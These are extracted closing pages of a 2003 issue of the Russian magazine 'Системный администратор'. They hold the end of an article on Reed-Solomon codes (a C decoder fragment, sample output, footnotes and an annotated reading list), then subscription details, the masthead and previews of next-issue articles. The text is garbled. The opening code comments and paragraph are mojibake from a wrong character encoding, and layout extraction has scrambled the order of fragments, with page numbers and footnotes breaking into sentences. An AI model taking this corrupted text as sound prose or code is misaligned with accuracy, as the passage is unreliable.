ÄÅÊÎÄÅÐ ÐÈÄÀ-ÑÎËÎÌÎÍÀ ïðîâåðÿåì íà íàëè÷èå îøèáîê ïåðåäà÷è (ôàêòè÷åñêè ýòî ïðîñòåéøèé äåêîäåð Ðèäà-Ñîëîìîíà) (e % g) // îøèáêè îáíàðóæåíû, ïûòàåìñÿ èñïðàâèòü printf("RS decoder says: (%x) ↵ error detected\n{\n", e % g); // k = 2^x, ãäå x - ïîçèöèÿ ñáîéíîãî áèòà k = (e % g); printf("\t0 to 1 err position: %x\n", lockup(k)); printf("\trestored codeword is: %x\n}\n", (e ^= k));
} printf("RECEIVED DATA IS: %x\n", e / g); // ÊÎÍÅÖ ÄÅÊÎÄÅÐÀ } Ëèñòèíã 10. Ðåçóëüòàò ðàáîòû ïðîñòåéøåãî êîäåðà/äåêîäåðà ÐèäàÑîëîìîíà. Îáðàòèòå âíèìàíèå: èñêàæåííûé áèò óäàëîñü óñïåøíî èñïðàâèòü, îäíàêî äëÿ ýòîãî ê èñõîäíîìó èíôîðìàöèîííîìó ñëîâó ïðèøëîñü äîáàâèòü íå äâà, à öåëûõ òðè áèòà (åñëè âû âîçüìåòå â êà÷åñòâå âõîäíîãî ñëîâà ìàêñèìàëüíî äîïóñòèìîå 8-áèòíîå çíà÷åíèå 0xFF, òî êîäîâîå ñëîâî áóäåò ðàâíî 0x1FE00, à òàê êàê 210 = 10000, òî ñâîáîäíûõ ðàçðÿäîâ óæå íå õâàòàåò è ïðèõîäèòñÿ óâåëè÷èâàòü ðàçðÿäíóþ ñåòêó äî 211, â òî âðåìÿ êàê ìëàäøèå áèòû êîäîâîãî ñëîâà ôàêòè÷åñêè îñòàþòñÿ íåçàäåéñòâîâàííûìè è "ïðà-
93
образование âèëüíûé" êîäåð äîëæåí èõ "çàêîëüöåâàòü", ãðóáî ãîâîðÿ çàìêíóâ îáðàáàòûâàåìûå ðàçðÿäû íà ìàíåð êîëüöà. i g c e
= = = =
00000069 00000200 0000d200 0000d208
(DATAIN) (POLYNOM) (CODEWORD) (RAW RECIVED DATA+ERR)
цикла подробно расскажет о превратностях полиномиальной арифметики и (о ужас!) полях Галуа. Затем, на фундаменте данного математического аппарата, мы сможем возвести дворец отказоустойчивых RAID-систем, да и не только их… 1
RS decoder says: (8) error detected { 0 to 1 err position: 3 restored codeword is: d200 } RECEIVED DATA IS: 69
Заключение Вот мы и познакомились с азами кодирования информации и разобрались с основными идеями, лежащими в основе построения помехозащитных кодов. Следующая статья этого
«…Из-за ошибок в реализации данный код вместо исправления ошибок добавляет новые. Поэтому данный код больше недоступен» – комментарий к исходным текстам GNU кодера/декодера Reed-Solomon. Вот и верь после этого в надежность Linux в целом и в GNU’тый библиотечный код в частности. 2 Если сумма проверяемых бит четна, то контрольный бит равен нулю и, соответственно, наоборот. 3 Полином, который не разлагается в произведение полиномов меньшей степени.
Что читать Несмотря на то что данный цикл статей является вполне самодостаточным и весь минимально необходимый математический аппарат излагает самостоятельно без отсылок к сторонней литературе, желание углубить свои знания вполне естественно и его можно только приветствовать. А потому будет лучше, если вы не ограничитесь одной этой статьей, а перевернете целые горы специализированной литературы, с каждым разом все больше и больше ужасаясь глубине той пропасти, что отделяет ваши поверхностные представления от действительно настоящих знаний. Теория помехоустойчивого кодирования столь обширна, что для ее изучения потребуется как минимум целая жизнь. 1. Blahut Richard. Theory and Practice of Error Control Codes. Mass.: Addison-Wesley, 1983. – Очень хорошая книжка из категории «must have»; по слухам, есть в электронном виде в сети, однако, к сожалению, самой книжки я так и не нашел, но тучи ссылок на нее убедительно свидетельствуют о высоком качестве последней. Также имеется ее русскоязычный перевод, выпущенный издательством «Мир» (см. ниже). 2. Блейхут Р. Теория и практика кодов, контролирующих ошибки. М.: Мир, 1986. – 576с. – Технически грамотный и добротный перевод уже упомянутой выше книги Блейхута (ах, какие в издательстве Мир были переводчики!), электронной копии в сети, к сожалению, нет. 3. James Plank. A tutorial on Reed-Solomon Coding for faulttolerance in RAID-like systems. – Неплохое руководство по использованию кодов Рида-Соломона для построения отказоустойчивых RAID-подобных систем, ориентированное на математически неподготовленных системных программистов и доходчиво объясняющее суть помехоустойчивого кодирования с примерами исходных текстов на Си. Электронная копия доступна по адресу: http://www.cs.utk.edu/~plank/plank/papers/CS-96-332.pdf. Настоятельно рекомендую прочитать, даже если вы и не собираетесь заниматься сборкой RAID. 4. Joel Sylvester. Reed Solomon Codes. – Предельно кратное описание принципов работы кодов Рида-Соломона с блок-схемами вместо исходных текстов. На практическое руководство не тянет, но общую картину все-таки дает, почитайте: http://www.elektrobit.co.uk/pdf/reedsolomon.pdf. 5. Tom Moore. REED-SOLOMON PACKAGE. (old tutorial). – Рос-
94
кошный сборник разнообразных руководств по кодам Рида-Соломона, наверное, лучший из всех, что я видел. Включает в себя кратное описание основ теории полей Галуа, базовые принципы построения кодеров/декодеров Рида-Соломона и законченные примеры реализации самих кодеров/декодеров на языке Си (правда, недостаточно добросовестно прокомментированные). Сей stuff неоднократно промелькивал в ФИДО и последний раз постился 28 декабря 1994 года в конференции comp.compression. Его легко найти в «Google» по ключевым словам «ReedSolomon+main+ECC». Настоятельно рекомендую. 6. Ross N.Williams. A painless guide to CRC error detection algorithms. – Подробное руководство по CRC, полезное достаточно внятным и доступным описанием полиномиальной арифметики, без которой работа с кодами Рида-Соломона просто немыслима. Доступно в электронной форме по следующему адресу: ftp://www.internode.net.au/clients/ rocksoft/papers/crc_v3.txt. Также имеется его неплохой перевод на русский язык, легко отыскивающийся в сети по запросу «Элементарное руководство по CRC-алгоритмам обнаружения ошибок». Настоятельно рекомендую. 7. ftape (драйвер ленточного накопителя из дистрибутива Linux). – Ну какая же запись на магнитную ленту обходится без корректирующих кодов? Представить себе такое, довольно затруднительно. Поэтому анализ исходных текстов драйверов ленточных накопителей дает довольно-таки богатую пищу для размышлений (при условии, конечно, что исследуемый драйвер действительно использует коды Рида-Соломона, а не что-нибудь другое). Драйвер ftape как раз и является тем драйвером, что вам нужен, а непосредственно сам код, ответственный за кодирование/декодирование кодов Рида-Соломона вынесен в файл ftape-ECC.c/ftape-ECC.h. Это достаточно аккуратный, хорошо структурированный и даже местами слегка комментируемый код, также рекомендую. 8. James S. Plank GFLIB. C Procedures for Galois Field Arithmetic and Reed-Solomon Coding. – Библиотечка для работы с кодами Рида-Соломона. Содержит в себе полные исходные тексты всех необходимых функций и распространяется по лицензии GPL. Найти ее можно на любом GNU-сайте, например, здесь: http://www.cs.utk.edu/ ~plank/plank/gflib/gflib.tar.
подписка
Альтернативная подписка: ООО «Интер-Почта» по тел. (095) 500-00-60 Курьерская доставка по Москве Открыта редакционная подписка на II полугодие 2003 г. Информация на сайте www.samag.ru в разделе «Подписка» 81655
Единый подписной индекс:
81655 по каталогу агентства «Роспечать»
81655
Рады видеть Вас нашими читателями!
№8(9), август 2003
95
СИСТЕМНЫЙ АДМИНИСТРАТОР №8(9), Август, 2003 год РЕДАКЦИЯ Исполнительный директор Владимир Положевец Ответственный секретарь Наталья Хвостова sekretar@samag.ru Технический редактор Владимир Лукин
ЧИТАЙТЕ В СЛЕДУЮЩЕМ НОМЕРЕ: Работа с жестким диском на программном уровне
Верстка и оформление imposer@samag.ru maker_up@samag.ru
В номере 3(4) журнала "Системный администратор" была опубликована статья Алексея Серебрякова "Основы систем хранения данных". В продолжение данной темы давайте рассмотрим, как осуществить доступ к IDEдиску на программном уровне при помощи файла устройства и через порты ATA-контроллера.
Дизайн обложки Николай Петрочук
Работа с базами данных на Perl
РЕКЛАМНАЯ СЛУЖБА тел.: (095) 928-8253 (доб. 112) факс: (095) 928-8253 Константин Меделян reсlama@samag.ru
103012, г. Москва, Ветошный переулок, дом 13/15 тел.: (095) 928-8253 (доб. 112) факс: (095) 928-8253 Е-mail: info@samag.ru Internet: www.samag.ru РУКОВОДИТЕЛЬ ПРОЕКТА Петр Положевец УЧРЕДИТЕЛИ Владимир Положевец Александр Михалев ИЗДАТЕЛЬ ЗАО «Издательский дом «Учительская газета» Отпечатано типографией ООО «Мастер Печати» Тираж 5500 экз. Журнал зарегистрирован в Министерстве РФ по делам печати, телерадиовещания и средств массовых коммуникаций (свидетельство ПИ № 77-12542 от 24 апреля 2002г.) За содержание статьи ответственность несет автор. За содержание рекламного обьявления ответственность несет рекламодатель. Все права на опубликованные материалы защищены. Редакция оставляет за собой право изменять содержание следующих номеров.
96
В наше время базы данных широко используются в разных сферах человеческой жизни. Самые простые базы данных – это просто файлы определенной структуры, а сложные – это файлы, имеющие свой формат данных и, естественно, определенную структуру. В данной статье я рассмотрю работу с базами данных на языке программирования Perl.
Рецепты правильного трудоустройства Относительно рынка труда в России существует два мнения: пациент скорее жив, чем мертв, и пациент скорее мертв, чем жив. Лично я считаю, что в сфере информационных технологий реализовать свой потенциал в России намного проще, чем во всех остальных странах мира вместе взятых. Недостаток квалифицированной рабочей силы у нас просто колоссальный и трудоустроиться в этой обстановке очень легко. Правда, в отличие от западных стран, цивилизованного рынка труда в России как не было, так и нет, и потому механизмы трудоустройства, которые хорошо работают «там», у нас вращаются со скрипом или не вращаются вообще. И если вам до чертиков надоело заполнять эти шаблонные резюме и вы хотите попробовать другие, – более действенные методы, эта статья для вас!
Искажение TOC как средство борьбы с несанкционированным копированием диска Искажение TOC – жестокий, уродливый, но на удивление широко распространенный прием, использующийся в доброй половине защитных механизмов. Штатные копировщики на таких дисках в буквальном смысле слова сходят с ума и едут крышей. Копировщики защищенных дисков (Clone CD, Alcohol 120%) к искаженному TOC относятся гораздо лояльнее, но требуют для своей работы определенного сочетания пишущего и читающего приводов, да и в этом случае копируют такой диск не всегда.
Виртуальный полигон для администратора и разработчика Мне, как и многим другим администраторам, приходится постоянно разрабатывать способы интеграции между собой разных служб и приложений. Иногда для проверки того или иного решения нужна всего лишь одна машина. А что прикажете делать, если нужно имитировать работу одной или нескольких связанных между собой локальных сетей? В данном случае у нас есть два варианта действий. Первый – по старинке взять завалявшийся на складе коммутатор и из старых машин собрать маленькую сеть. Второй вариант гораздо проще и удобнее. Все что нам понадобится – это компьютер средней мощности. Наши тестовые сети и все компьютеры, находящиеся в них, мы создадим внутри комплекса виртуальных машин vmware. В этой статье мы поговорим о том, как сполна воспользоваться техническим могуществом, предоставляемым vmvare.